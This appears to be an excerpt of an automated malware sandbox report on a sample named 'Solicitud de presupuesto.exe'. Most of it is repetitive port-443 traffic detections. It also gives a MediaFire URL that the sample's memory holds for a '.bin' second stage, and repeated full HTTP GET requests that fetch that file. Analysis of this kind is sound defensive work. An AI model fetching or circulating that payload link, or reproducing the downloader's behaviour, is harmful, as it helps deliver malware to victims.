Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: Solicitud de presupuesto.exe, 00000001.00000002.576110769.0000000002380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.cloudflareinsights.com/beacon.min.js/vaafb692b2aea4879b33c060e79fe94621666317369993
Source: Solicitud de presupuesto.exe, 00000001.00000002.575875706.0000000000560000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mediafire.com/file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file

Source: unknown

DNS traffic detected: queries for: www.mediafire.com

Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
